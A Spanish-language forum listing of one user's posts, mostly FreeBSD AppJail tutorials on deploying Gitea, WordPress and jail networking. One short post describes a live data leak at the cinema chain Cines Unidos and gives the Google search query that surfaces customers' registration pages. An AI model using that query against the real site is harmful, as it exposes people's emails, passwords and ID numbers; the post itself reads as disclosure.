Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - DtxdF

#1

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Manejar nuestros proyectos de desarrollo es muy fácil actualmente, hay demasiados servicios para escoger, con menos o con más características, pero hay uno en particular, de código abierto, auto-hospedable, con muchísimas características, y la mejor parte, que se puede instalar en FreeBSD. Ese genial proyecto es Gitea, un software para hospedar nuestros proyectos usando git, que además cuenta con funciones colaborativas como rastreo de incidentes, revisión de código, integración continua, tickets y wikis.

En este artículo instalaremos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en FreeBSD usando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Pasos preliminares

En mi sistema tengo la siguiente configuración:

/etc/rc.conf (Solo lo relevante es mostrado):

Código: sh
# AppJail
appjail_enable="YES"
appjail_dns_enable="YES"
# Recomendable if tu dirección IP cambia, entonces podremos usar la siguiente dirección IP en nuestras jaulas.
ifconfig_tap0_name="ajdns"
ifconfig_ajdns="inet 172.0.0.1/32"
# DNSMasq
dnsmasq_enable="YES"
dnsmasq_conf="/usr/local/share/appjail/files/dnsmasq.conf"
# Habilitar net.inet.ip.forwarding.
gateway_enable="YES"

/usr/local/etc/appjail/appjail.conf:

Código: sh
EXT_IF=jext
ON_IF=jext
FREEBSD_VERSION=14.0-RELEASE
FREEBSD_ARCH=amd64
IMAGE_ARCH=amd64
ENABLE_DEBUG=0
ENABLE_ZFS=1
SHORTEN_DOMAIN_NAMES=1
DEFAULT_RESOLV_CONF=/usr/local/etc/appjail/resolv.conf

/usr/local/etc/appjail/resolv.conf:

Código: text
nameserver 172.0.0.1

/etc/pf.conf:

Código: text
nat-anchor 'appjail-nat/jail/*'
nat-anchor "appjail-nat/network/*"
rdr-anchor "appjail-rdr/*"

Console Output:

Código: console
# service appjail-dns status
appjail_dns is running as pid 97063.
# service dnsmasq status
dnsmasq is running as pid 98251.
# sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 1
# freebsd-version
14.0-RELEASE-p4
# uname -r
14.0-RELEASE-p4
# appjail version
3.0.0.20231220+9468250a2fb7e6f6e6f63a89eb0892e325d1cf83
# appjail-director --version
appjail-director, version 0.7.0
# zfs list zroot
NAME    USED  AVAIL  REFER  MOUNTPOINT
zroot  72.1G   531G    24K  none
# ifconfig ajdns
ajdns: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
        options=80000<LINKSTATE>
        ether 58:9c:fc:10:8e:0c
        inet 172.0.0.1 netmask 0xffffffff broadcast 172.0.0.1
        groups: tap
        media: Ethernet 1000baseT <full-duplex>
        status: no carrier
        nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
# ifconfig jext
jext: flags=1008843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,LOWER_UP> metric 0 mtu 1500
        options=4e524bb<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,JUMBO_MTU,VLAN_HWCSUM,LRO,WOL_MAGIC,VLAN_HWFILTER,VLAN_HWTSO,RXCSUM_IPV6,TXCSUM_IPV6,HWSTATS,MEXTPG>
        ether 00:1b:24:e0:6d:a3
        inet 192.168.1.105 netmask 0xffffff00 broadcast 192.168.1.255
        media: Ethernet autoselect (100baseTX <full-duplex>)
        status: active
        nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>

Estoy usando la versión de desarrollo de AppJail, por lo que estar atentos a la versión y al commit hash del que estén usando.

Nota: Mantener AppJail y Director actualizados y sincronizados.

La red virtual es la siguiente, pero en estos días no es necesario preocuparse por ella dado que AppJail la crea si no existe:


Código: console
# appjail network list
NAME   NETWORK   CIDR  BROADCAST      GATEWAY   MINADDR   MAXADDR        ADDRESSES  DESCRIPTION
ajnet  10.0.0.0  10    10.63.255.255  10.0.0.1  10.0.0.1  10.63.255.254  4194302    AppJail network

Si necesitas más información, he aquí los lugares relevantes para este artículo en la documentación de AppJail:

*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Desplegando Gitea

Como se explica en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hay que pasar las variables de entorno de la siguiente forma:

1.- Las variables de entorno deben tener la siguiente forma: GITEA__SECTION_NAME__KEY_NAME.
2.- SECTION y KEY_NAME deben estar en mayúsculas. Pueden contener _ y números.
3.- _0X2E_ será remplazados por . y _0X2D_ por ..
4.- Para usar la sección global o predeterminada, usa DEFAULT como sección.

Por lo que nuestro archivo Director es el siguiente:


appjail-director.yml:

Código: yaml
options:
  - virtualnet: ":<random> default"
  - nat:

services:
  gitea:
    name: gitea
    makejail: gh+AppJail-makejails/gitea
    options:
      - expose: 3000
      - expose: '2022:22'
      - copydir: !ENV '${PWD}/gitea/files'
      - file: /etc/rc.conf.local
    arguments:
      - gitea_tag: '14.0'
    environment:
      - GITEA__DATABASE__DB_TYPE: 'postgres'
      - GITEA__DATABASE__HOST: 'gitea-postgres:5432'
      - GITEA__DATABASE__NAME: 'gitea'
      - GITEA__DATABASE__USER: 'gitea'
      - GITEA__DATABASE__PASSWD: 'gitea'
      - GITEA__SERVER__SSH_PORT: 2022
      - GITEA__SERVER__DOMAIN: '192.168.1.105'
      - GITEA__DEFAULT__APP_NAME: 'Welcome to my git server!'
    volumes:
      - gitea-db: gitea-db
      - gitea-git: gitea-git

  db:
    name: gitea-postgres
    makejail: gh+AppJail-makejails/postgres
    options:
      - template: !ENV '${PWD}/postgres/template.conf'
    arguments:
      - postgres_tag: '14.0-16'
    environment:
      - POSTGRES_PASSWORD: 'gitea'
      - POSTGRES_USER: 'gitea'
      - POSTGRES_DB: 'gitea'
    volumes:
      - pg-done: pg-done
      - pg-data: pg-data

default_volume_type: '<volumefs>'

volumes:
  gitea-git:
    device: .volumes/gitea/git
  gitea-db:
    device: .volumes/gitea/db
  pg-data:
    device: .volumes/postgres/data
  pg-done:
    device: .volumes/postgres/done

.env:

Código: text
DIRECTOR_PROJECT=gitea

postgres/template.conf:

Código: text
exec.start: "/bin/sh /etc/rc"
exec.stop: "/bin/sh /etc/rc.shutdown jail"
sysvmsg: new
sysvsem: new
sysvshm: new
mount.devfs

gitea/files/etc/rc.conf.local:

Código: sh
sshd_enable="YES"

Hay muchas cosas que AppJail y Director realizan por nosotros en un solo archivo pero lo explicaré en breve. Por el momento solo ejecutemos el proyecto y veamos el resultado:

Código: console
# appjail-director up
appjail-director up
Starting Director (project:gitea) ...
Creating db (gitea-postgres) ... Done.
Creating gitea (gitea) ... Done.
Finished: gitea
# appjail-director info
gitea:
 state: DONE
 last log: /root/.director/logs/2023-12-22_21h33m25s
 locked: false
 services:
  + db (gitea-postgres)
  + gitea (gitea)

Como se puede apreciar, solo un comando es lo que se usó para desplegar Gitea y PostgreSQL, pero si ingresamos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en el navegador de otro sistema, Gitea no muestra nada. No hay de qué precouparse, veamos si el proceso está corriendo:

Código: console
# appjail service jail gitea gitea status
gitea is running as pid 91657.

Después de que Gitea se inicialice correctamente, podemos registrarnos, crear un repositorio, o, por ejemplo, agregar nuestra clave SSH en Profile & Settings > Settings > SSH / GPG Keys.

Profile and Settings...

SSH / GPG Keys

Concepto de efímero

Desde la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

Director trata cada jaula como efímera. Esto no quiere decir que sus jaulas no persistirán después de que las detengas o que su sistema se reinicie, lo que quiere decir es que Director asume que es seguro destruir sus jaulas ya que se ha separado los datos que deben persistir de los que no.

Incluso si nuestras jaulas son un tipo de "Jaulas con estado", esto no significa que no podamos usarlas como "Jaulas efímeras". La idea de tener jaulas efímeras es muy simple, pero tiene demasiadas ventajas que probablemente quedarían mejor descritas en otro artículo: los datos son separados en dos tipos, los que deben persistir de los que no. Ya hemos hecho esto, por lo que si realizamos lo siguiente...


Código: console
# appjail-director down -d
Starting Director (project:gitea) ...
Stopping gitea (gitea) ... Done.
Destroying gitea (gitea) ... Done.
Stopping db (gitea-postgres) ... Done.
Destroying db (gitea-postgres) ... Done.
Destroying gitea ... Done.
# appjail-director info
gitea: Project not found.

¡Nuestro proyecto se ha ido!

No te preocupes, esto es lo que solucionan los volumenes:

Código: console
# tree -L 2 .volumes
.volumes
├── gitea
│   ├── db
│   └── git
└── postgres
    ├── data
    └── done

7 directories, 0 files

Por lo que podremos crear nuestro proyecto otra vez (y los datos persistirán):

Código: console
# appjail-director up
Starting Director (project:gitea) ...
Creating db (gitea-postgres) ... Done.
Creating gitea (gitea) ... Done.
Finished: gitea
# appjail-director info
gitea:
 state: DONE
 last log: /root/.director/logs/2023-12-22_21h51m23s
 locked: false
 services:
  + db (gitea-postgres)
  + gitea (gitea)

Y nuestras claves SSH estarán intactas:

Código: console
# cat .volumes/gitea/git/.ssh/authorized_keys
# gitea public key
command="/usr/local/sbin/gitea --config=/usr/local/etc/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8B02AxX4CBRHNQHAwQIZUE454ZixeqSkAG7b9OOMxa dtxdf@dtxdf-laptop

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

~ DtxdF
#2
Hacking / Fuga de datos de Cines Unidos
Julio 21, 2023, 04:41:24 AM
Esto no será un artículo, solo una cuestión de pocas palabras.

Hace mucho se habló sobre una Vulnerabilidad muy sencilla de explotar de Cines Unidos [1] y sin descanso se placticó poco después del anterior Cómo hacer un ataque por diccionario a Cines Unidos [2]. Esta noche simplemente por curiosidad con el reciente estreno de Oppenheimer, he querido indagar el cuándo y dónde se podrá ver, pero resulta que por accidente me topé que Google me estaba brindando algunos resultados bastante interesantes...


Si no se comprende la gravedad de esto, es imprescindible leer los anteriores para adquirir el contexto, pero en en suma, cada enlace con e texto "datos de registro - Cines Unidos" corresponde a una posible víctima para un ciberdelincuente para construir una base de datos, tanto de direcciones de correo electrónico, como de contraseñas, y dado que Cines Unidos también requiere otro tipo de información sensible como la cédula de identidad, ya se podrán imaginar.

Tan solo hay que ingresar en Google "site:www.cinesunidos.com" y buscar las palabras claves indicadas anterioremente.


Los anteriores artículos explican cómo extraer más información explotando vulnerabilidades que hasta día de hoy no han sido resueltas.

[1] Underc0de[.]org/foro/noticias-informaticas-120/vulnerabilidad-muy-sencilla-de-explotar-de-cines-unidos/
[2] Underc0de[.]org/foro/noticias-informaticas-120/como-hacer-un-ataque-por-diccionario-a-cines-unidos/
#3
International forum / Python With Appjail | FastAPI
Marzo 04, 2023, 11:43:41 PM
In any development project, you usually have to worry about many components: databases, dependencies, configurations, network settings and so on. Things can get too complicated when you need to transfer your project to another colleague or, even worse, transfer the project to a production environment, and very bad things can happen... Those problems has been solved by some useful tools, such as those for creating and managing containers.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta is the framework we will use to create a container with our project: an API using the FastAPI framework. By using this tool we ensure that we can share and reproduce our project to guarantee that it will run smoothly with virtually the same environment as on the host. As a bonus, the host will not be affected.

Continue reading: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

~ DtxdF
#4

Fuente: WordPress

WordPress es un sistema de gestión de contenidos (en inglés, Content Management System o CMS) lanzado el 27 de mayo de 2003, enfocado a la creación de cualquier tipo de página web. Originalmente alcanzó una gran popularidad en la creación de blogs, para luego convertirse en una de las principales herramientas para la creación de páginas web comerciales.

Como se expresó en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, Makejail es un archivo de texto plano para automatizar la creación de contenedores. WordPress es una excelente aplicación para demostrar el potencial de AppJail y sus Makejails.

La instalación y configuración de WordPress, sumando a sus dependencias, y la configuración de la base de datos obstaculiza el proceso principal: usarlo. Muchos consideran que es complejo por los aspectos antes mencionados. Afortunadamente hay un Makejail para solventar esto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Recomiendo leer artículos anteriores para saber cómo usar las características de red de AppJail, aunque aquí solo se mostrará las redes virtuales por su simpleza. Recomiendo también leer la documentación de AppJail para obtener más detalles: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


WordPress

Dado que usaremos el Makejail del repositorio centralizado, no hará falta crear uno propio para automatizar los complejos procesos. Solo necesitamos el siguiente Makejail:

Makejail:

Código: text
INCLUDE options/network.makejail
INCLUDE gh+AppJail-makejails/wordpress

OPTION expose=80

Por supuesto, sé es libre de usar cualquiera puerto o no usar ninguno, y hacer otras cosas según sea necesario, aunque en ara a la simplicidad, se usará el anterior Makejail.

El archivo `options/network.makejail` es otro Makejail que será incluido indicando las opciones de red que usaremos. Es solo una convención puedes nombrarlo como desees.

options/network.makejail:

Código: text
ARG network
ARG interface=wordpress

OPTION virtualnet=${network}:${interface} default
OPTION nat

El otro Makejail, el de WordPress, contendrá las instrucciones necesarias para instalar WordPress y sus dependencias, PHP y PHP-FPM, MariaDB y NGINX, aparte de configurar cada uno. Todo de forma abstracta y simple.

Una vez creemos los Makejails necesarios, es tan sencillo realizar los procesos usando `appjail makejail`:


Código: sh
appjail makejail -j wordpress -- --network web

En en ejemplo anterior, el contenedor será nombrado como `wordpress` y se le está pasando el parámetro `--network` para indicar la red a utilizar, que en este caso es `web`. Usa la que realmente exista en tu sistema.

Una vez concluído el anterior proceso, solo hay que ingresar en nuestro navegador y seguir los pasos que indica el mismo WordPress.


Conclusión

Probablemente si no usaramos AppJail/Makejail este artículo contendría varias líneas explicando un montón de cosas, incluyendo qué dependencias usa WordPress, cuáles archivos de configuración utilizar para NGINX o PHP-FPM, o cualquier otra cosa que obstaculizaría el objetivo principal.

El Makejail de WordPress acepta varios parámetros, pero estos son descritos en su propia documentación.


~ DtxdF
#5

Fuente: EnterpriseAI

AppJail es la herramienta que permite crear y mantener contenedores de FreeBSD con extrema facilidad. Este automatiza muchísimas cosas para que solo nos podamos preocupar por nuestra aplicación, pero AppJail tiene más funcionalidades para automatizar cosas que podrían ser repetitivas, como es la creación de un contenedor.

AppJail, en vez de usar un largo y tedioso archivo yaml o json, usa un simple archivo de texto con determinadas instrucciones para recrear un contenedor, el cual veremos con más detalles en un momento. Con este simple archivo podemos crear un contenedor, con sus aplicaciones e incluso configurarlas, aparte de que podemos configurar las opciones de redes y mucho más.

Solo se mostrarán algunas instrucciones, por lo que es recomendable leer la documentación si se desea saber todas las que están disponibles: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Recomiendo ver el repositorio central de los Makejails, tanto si deseas usar un Makejail de un software existente o si quieres colaborar en el proyecto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Introducción a Makejail:


Los archivos Makejails son archivos de texto plano que tienen la siguiente sintaxis:

Código: text
# Comentario
COMANDO argumento

Es solo eso, no tienes que preocuparte por llaves, corchetes, punto y coma, o cualquier otro carácter raro. Veamos el siguiente ejemplo real:

Código: text
OPTION start

CMD echo "Hello, world!"

Con el comando `OPTION` pasamos opciones a `appjail quick` y con `CMD` ejecutamos un comando usando `sh(1)`. Cabe aclarar que, de forma predeterminada, `CMD` ejecuta el comando en el contenedor, no en el host.

Si queremos ejecutar el ejemplo anterior, tenemos que usar `appjail makejail`.


Código: sh
appjail makejail -j hello

El nombre de la jaula es opcional, por lo que si no se define, se usa uno aleatorio.

Conclusión

El punto de los Makejails es que el usuario final solo tenga que preocuparse por usar la aplicación y no aprender los detalles implicados. Esto es válido normalmente con aplicaciones complejas, que requieran configurarse previamente o se necesiten conocer ciertos detalles para hacerla funcionar correctamente.

En esta breve introducción solo se mostró lo básico para usar los Makejails y en los siguientes artículos se mostrarán ejemplos con aplicaciones reales.


~ DtxdF
#6

Fuente: CoinDesk

La información que se ha recopilado en la parte No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es valiosa para explicar configuraciones un poco más complejas que se adaptan a aplicaciones más específicas. Afortunadamente, AppJail abstrae todos los procesos necesarios para llevar a cabo las operaciones sin necesidad de que conozcamos los detalles intrinsecos.

Después de leer este artículo sabrás cómo organizar tus jaulas para que se adapten a tu aplicación y entorno.

Es recomendable leer la documentación de todas formas: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


multi-(virtual)net & bridges:


Una jaula puede estar en varias redes virtuales al mismo tiempo. Esto es bastante útil para mantener un orden lógico que se adapte más a nuestro entorno. Por ejemplo, podemos crear tres jaulas: `jdb`, un DBMS, `jweb`, un servidor web y `jdev`, una jaula donde estará la aplicación que estamos desarrollando que usará los servicios de las otras jaulas. Además de las jaulas, hay que tener tres redes: `web`, para los servidores web o cosas relacionadas (nginx, apache, php-fpm, APIs, etc.), `db`, para bases de datos (mongodb, mysql, redis, etc.) y `development`, para jaulas que se usarán estrictamente para desarrollar aplicaciones usando los demás servicios. Nuestra jaula `jdev` debe estar en todas las redes para que la comunicación pueda tener efecto.

Las redes virtuales no proveen una conexión al exterior, pero fácilmente se puede solucionar con NAT o los puentes. Es importante saber cual elegir porque uno provee características que el otro no puede y ofrece un mejor aislamiento que el otro no dispone, lo cual puede o no ser estrictamente necesario. Es recomendable leer la documentación para obtener más detalles.

En este caso, los puentes serán la elección actual.


Código: sh
#
# Networks
#

# db
appjail network add db 10.42.0.0/24
# web
appjail network add web 10.0.0.0/24
# development
appjail network add development 172.16.0.0/10

#
# Jails
#

# jdb
appjail quick jdb virtualnet="db:jdb" bridge="jdb iface:jext" start
# jweb
appjail quick jweb virtualnet="web:jweb" bridge="jweb iface:jext" start
# jdev
appjail quick jdev virtualnet="db:jd1" virtualnet="development:jd2" virtualnet="web:jd3" bridge="jdev iface:jext" start

Es así de sencillo crear una jaula que esté en múltiples redes virtuales. Después de instalar algunos paquetes, actualizarlos o hacer cualquier cosa que necesite conexión al exterior, podríamos quitar las interfaces que están agregadas al puente para que las jaulas que solo deben ofrecer servicios locales no se puedan comunicar hacia el exterior.

Código: sh
appjail network detach jdb
appjail network detach jweb

Es necesario editar la plantilla de las jaulas para que los cambios persistan como es descrito en la documentación.

multi-bridges:


Las redes virtuales son bastante útiles, pero los puentes ofrecen un rango de aplicaciones un poco más amplias por ser más flexibles. Por ejemplo, podríamos usar `dns/dnsmasq` para que este asigne las direcciones IPs en un rango específico a determinadas jaulas que estén en un puente privado.

Código: sh
# jpub
appjail quick jpub \
    bridge="jpb1 iface:jext bridge:public" \
    bridge="jpb2 bridge:private" \
    mount_devfs \
    devfs_ruleset=10 \
    dhcp="sb_jpb1" \
    dhcp="sb_jpb2" \
    overwrite
# jpriv
appjail quick jpriv \
    bridge="jpv bridge:private" \
    mount_devfs \
    devfs_ruleset=10 \
    dhcp="sb_jpv" \
    overwrite

En el ejemplo anterior, `jpub` está tanto en `public` como en `private`, por lo que puede comunicarse tanto con las jaulas que estén en `private` como comunicarse con el exterior ya que `public` tiene como miembro a la interfaz del host `jext`. `jpriv` solo puede comunicarse con las jaulas que estén en `private`.

Ahora se iniciará `dnsmasq` para que las jaulas que estén en `private` puedan obtener una dirección IP.


Código: sh
# AppJail crea el puente si no existe, pero dado que primero necesitamos agregarle una dirección IP ya que dnsmasq lo requiere, es necesario crearlo manualmente antes de iniciar las jaulas.
ifconfig bridge create name private
ifconfig private inet 129.0.0.1/24
dnsmasq --interface=private --dhcp-range=129.0.0.2,129.0.0.150,12h -d

En este punto es posible iniciar las jaulas para observar el resultado.

Código: text
# appjail start jpub
...
# appjail cmd jexec jpub ifconfig sb_jpb1 inet
sb_jpb1: flags=8863<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
        options=8<VLAN_MTU>
        inet 192.168.1.101 netmask 0xffffff00 broadcast 192.168.1.255
# appjail cmd jexec jpub ifconfig sb_jpb2 inet
sb_jpb2: flags=8863<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
        options=8<VLAN_MTU>
        inet 129.0.0.15 netmask 0xffffff00 broadcast 129.0.0.255
# appjail start jpriv
...
# appjail cmd jexec jpriv ifconfig sb_jpv inet
sb_jpv: flags=8863<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
        options=8<VLAN_MTU>
        inet 129.0.0.112 netmask 0xffffff00 broadcast 129.0.0.255

Conclusión:

En este punto, es posible crear jaulas que usen distintos tipos de configuración según necesitemos para crear una variedad de aplicaciones.

En los siguientes artículos, se mostrarán algunas cosas interesantes de AppJail usando todo el conocimiento adquirido hasta el momento.


~ DtxdF
#7

Fuente: InfoWorld

En la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta se presentó los usos básicos de redes para los contenedores en FreeBSD utilizando AppJail. AppJail puede lidiar con problemas más complejos para poder adaptarse a entornos o necesidades mucho más específicas, como se verá acontinuación.

Al igual que la parte anterior, no se mostrarán configuraciones del host para que las opciones sean efectivas, ya que de eso se encarga la documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Es importante leer la primera parte para conocer cómo son nombradas las interfaces.


DHCP & SLAAC:

AppJail puede confiar los parámetros de la red a otro nodo de la red, por lo que será más sencillo y rápido crear y administrar jaulas genéricas.

Primero que nada, necesitamos configurar algunas reglas `devfs.ruleset(5)` para habilitar `bpf(4)` ya que `dhclient(8)` lo requerirá.


/etc/devfs.rules:
Código: text
[devfsrules_dhcp=10]
add include $devfsrules_jail_vnet
add path 'bpf*' unhide

Con lo anterior, los ejemplos posteriores serán efectivos.

Código: sh
# VNET + DHCP
 appjail quick jdhcp \
    vnet=em0 \
    dhcp=em0 \
    mount_devfs \
    devfs_ruleset=10 \
    start
# Netgraph + DHCP
appjail quick jdhcp \
    jng="jdhcp em0" \
    dhcp=ng0_jdhcp \
    mount_devfs \
    devfs_ruleset=10 \
    start \
    overwrite
# Netgraph + Bridge + DHCP
appjail quick jdhcp \
    jng="jdhcp em0" \
    bridge="iface:jext jdhcp" \
    dhcp=ng0_jdhcp \
    dhcp=sb_jdhcp \
    mount_devfs \
    devfs_ruleset=10 \
    start \
    overwrite

IPv6 está creciendo rápidamente a lo largo del mundo por lo que AppJail tiene soporte para esta característica. AppJail puede confiar en SLAAC para configurar algunos parámetros de red para una interfaz dada.

Código: sh
# VNET + SLAAC
appjail quick jslaac \
    vnet="em0" \
    slaac="em0" \
    start \
    overwrite
# VNET + SLAAC + Bridge + DHCP
appjail quick jds \
    vnet="em0" \
    slaac="em0" \
    bridge="iface:jext jds" \
    dhcp="sb_jds" \
    mount_devfs \
    devfs_ruleset=10 \
    start

NAT:

Gracias a las redes virtuales, NAT es posible, siendo este un camino alternativo a los puentes para que la jaula pueda comunicarse con el exterior.

Este tipo de configuración es la forma alternativa a los puentes y no tendría sentido combinarla. Ver la documentación para más detalles.


Código: sh
appjail quick jnat virtualnet="development:jnat default" nat start
# explicitly
appjail quick jnat virtualnet="development:jnat default" nat="network:development" overwrite start

La opción `nat` requiere que el parámetro `network` esté definido, pero como se pudo observar, dado que `development` está marcada como la red predeterminada usando el parámetro `default`, se puede usar de forma implícita en opciones como `nat` o `expose` como veremos más adelante. Cuando no hay ninguna red predeterminada, `nat` se quejará si no se define el parámetro `network`.

Es posible aplicar NAT a varias redes en las que se encuentre la jaula, lo cual es útil si se usará la dirección de origen para diferentes propósitos.


Código: text
# appjail quick jnat virtualnet="development:jn1 default" virtualnet="web:jn2" nat nat="network:web" start overwrite
...
# appjail network hosts -REj jnat
192.128.0.2     development
10.0.0.2        web
# appjail cmd jexec jnat ping -c4 -S 192.128.0.2 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 192.128.0.2: 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=114 time=45.209 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=44.204 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=114 time=44.436 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=114 time=44.864 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 44.204/44.678/45.209/0.387 ms
# appjail cmd jexec jnat ping -c4 -S 10.0.0.2 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 10.0.0.2: 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=114 time=44.984 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=45.167 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=114 time=44.426 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=114 time=44.581 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 44.426/44.789/45.167/0.298 ms

También podemos realizar el proceso de `appjail quick` de forma manual.

Código: sh
appjail quick jnat virtualnet="development:jn1 default" overwrite
appjail nat add jail -n development jnat
appjail config -Ia 'exec.prestart="appjail nat on jail ${name}"' -j jnat
appjail config -Ia 'exec.poststop="appjail nat off jail ${name}"' -j jnat
appjail start jnat

AppJail también puede aplicar NAT a una red entera en lugar de hacerlo por cada jaula.

Código: text
# appjail nat add network db
# appjail nat on network db
# appjail nat boot on network db
# service appjail-natnet status
NAT Information:

BOOT  NAME  RULE
1     db    nat on "jext" from 10.42.0.0/24 to any -> ("jext:0")

Status:

nat on jext inet from 10.42.0.0/24 to any -> (jext:0) round-robin

En el ejemplo anterior, NAT se aplicará al inicio del servicio `appjail-natnet`, ya que el boot flag está ajustado a 1.

Aplicar NAT a una red entera ahorra tiempo y recursos, pero hay veces en las que determinadas jaulas no deberían comunicarse con el exterior. AppJail soluciona esto aplicando una regla NONAT evitando así enmascarar la dirección IP de la jaula.


Código: text
# Usando appjail quick:
appjail quick jnonat virtualnet="db:jnonat default" nonat overwrite start
# Manualmente:
appjail quick jnonat virtualnet="db:jnonat default" overwrite
appjail nat add jail -n db -N jnonat
appjail config -Ia 'exec.prestart="appjail nat on jail ${name}"' -j jnonat
appjail config -Ia 'exec.poststop="appjail nat off jail ${name}"' -j jnonat
appjail start jnonat

Port forwarding:

Exponer los servicios de red que se encuentren en una jaula hacia el exterior para que nuestros clientes puedan aprovechar esto resulta bastante útil. Por ejemplo, NGINX puede ser usado para proveer un servidor web a nuestros clientes:

Código: sh
# Usando appjail quick:
appjail quick nginx virtualnet="web:nginx default" nat expose=80 start
# Mnualmente:
appjail quick nginx virtualnet="web:nginx default" nat overwrite
appjail expose set -k web -p 80 nginx
appjail config -Ia 'exec.prestart="appjail expose on ${name}"' -j nginx
appjail config -Ia 'exec.poststop="appjail expose off ${name}"' -j nginx
appjail start nginx
# www/nginx:
appjail pkg jail nginx install -y nginx
appjail sysrc jail nginx nginx_enable="YES"
appjail service jail nginx nginx start

Dado que somos el host, podemos realizar una petición HTTP directamente a la dirección IP de la jaula:

Código: text
# fetch -qo - http://10.0.0.2
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
...

En cambio otro host dentro de la red podría usar la dirección IP del host, asumiendo en este caso que es `192.168.1.105`:

Código: text
# fetch -qo - http://192.168.1.105
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
...

Conclusión:

En este pequeño artículo se mostraron más características de AppJail que permiten tener más control acerca de la red y sus parámetros. Es un complemento de la parte anterior, por lo que es recomendable leer ambas partes. No obstante, tanto esta como la anterior parte forman lo esencial para adaptar una o más jaulas a nuestro entorno. En la parte siguiente se mostrarán configuraciones más complejas asumiendo lo anteriormente aprendido.

~ DtxdF
#8

Fuente: IONOS

En una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta se brindó una breve introducción a los contenedores en FreeBSD usando AppJail, pero eso solo es una pequeña parte de todo el conjunto. Las redes son un aspecto fundamental cuando se trata de contenedores, ya que son la forma en cómo interactúan los contenedores tanto con los clientes, como con nosotros mismos, los administradores, y también como interactúan entre ellos mismos. No solo es una forma de comunicación, también es una cuestión de organización.

AppJail está hecho para tratar con estos aspectos adaptándose a diferentes necesidades, como se verá a continuación.

No se mostrarán las configuraciones que necesita el host, ni como configurar el firewall o cosas similares, ya que de eso se encarga la documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


IP aliasing:

Aunque el IP aliasing no provea aislamiento, para cierto tipo de aplicaciones puede ser bastante útil.

Código: sh
# IPv4
appjail quick myjail alias=jext ip4="192.168.1.120/24" overwrite start resolv_conf
# IPv6
appjail quick myjail alias=jext ip6="2001:db8:0:1::2/64" overwrite start resolv_conf
# Dual
appjail quick myjail alias=em0 ip4="192.168.1.120/24" ip6="2001:db8:0:1::2/64" overwrite start resolv_conf
# Múltiples interfaces
appjail quick myjail alias ip4="jext|192.168.1.120/24" ip6="em0|2001:db8:0:1::2/64" overwrite start resolv_conf

Tanto `ip4` como `ip6` pueden ser especificadas múltiples veces. La opción `overwrite` detiene y destruye la jaula si existe, y `resolv_conf` copia el archivo `/etc/resolv.conf` del host a la jaula. Aunque la opción `resolv_conf` realmente no sea necesaria especificarla, ya que en el archivo de configuración de AppJail está habilitada por defecto, es útil para ilustrar como es el proceso manualmente.

Redes virtuales:


AppJail puede crear redes aisladas y privadas, las cuales son llamadas «redes virtuales». Una jaula puede estar en más de una red virtual. Esto es increiblemente útil para organizar de forma lógica un montón de jaulas.

Recomiendo usar rangos privados especificados con más detalles en RFC 1918:

* 10.0.0.0/8
* 172.16.0.0/12
* 192.168.0.0/16

